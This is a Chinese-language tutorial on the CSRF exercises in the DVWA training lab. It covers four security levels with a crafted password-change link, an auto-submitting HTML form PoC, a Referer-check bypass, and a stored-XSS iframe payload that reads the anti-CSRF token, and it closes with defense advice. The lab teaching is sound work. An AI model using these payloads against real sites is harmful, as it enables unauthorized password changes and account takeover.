DVWA靶场之CSRF学习分享
字数 938 2025-08-24 20:49:31
DVWA靶场CSRF漏洞学习指南
1. CSRF漏洞概述
跨站请求伪造(CSRF)是一种攻击方式,攻击者诱使受害者在已登录目标网站的情况下,执行非预期的操作。DVWA(Damn Vulnerable Web Application)提供了四个不同安全级别的CSRF漏洞场景供学习。
2. CSRF(Low)级别
漏洞分析
- 服务器仅检查
password_new与password_conf参数是否相同 - 无任何CSRF防护机制
- 仅依赖cookie进行身份验证
攻击方法
- 构造恶意链接:
http://43.247.91.228:81/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#
- 或使用Burp Suite生成CSRF PoC:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://43.247.91.228:81/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="123456" />
<input type="hidden" name="password_conf" value="123456" />
<input type="hidden" name="Change" value="Change" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
- 受害者使用同一浏览器访问该链接或HTML文档时,密码会被修改
关键点
- 攻击依赖受害者使用同一浏览器
- 可利用短网址平台(如https://dwz.cn/)隐藏真实URL
3. CSRF(Medium)级别
防护机制
- 检查HTTP Referer头是否包含服务器名(43.247.91.228)
- 使用
eregi()函数进行不区分大小写的匹配
绕过方法
- 将攻击页面命名为
43.247.91.228.html - 构造PoC:
<h1>404<h1>
<h2>file not found.<h2>
- 受害者访问该页面时,密码会被自动修改
4. CSRF(High)级别
防护机制
- 引入Anti-CSRF token机制
- 每次访问改密页面时生成随机token
- 提交请求时必须包含有效token
攻击方法
- 结合XSS(Stored)漏洞获取token
- 注入payload:
<iframe src="../csrf/" onload=alert(frames[0].document.getElementsByName('user_token')[0].value)>
- 每次打开页面会弹出token值
- 使用获取的token构造请求修改密码
5. CSRF(Impossible)级别
防护机制
- 使用PDO技术防御SQL注入
- 要求用户输入原始密码
- 攻击者在不知道原始密码的情况下无法进行CSRF攻击
6. 防御建议
- 实施Anti-CSRF token机制
- 检查Referer头(但非绝对可靠)
- 关键操作要求二次验证(如输入原密码)
- 使用SameSite cookie属性
- 实施自定义HTTP头验证
7. 总结
CSRF漏洞的防护需要多层防御:
- Low级别:无任何防护
- Medium级别:Referer检查(可绕过)
- High级别:Token机制(需结合其他漏洞利用)
- Impossible级别:多因素验证(最安全)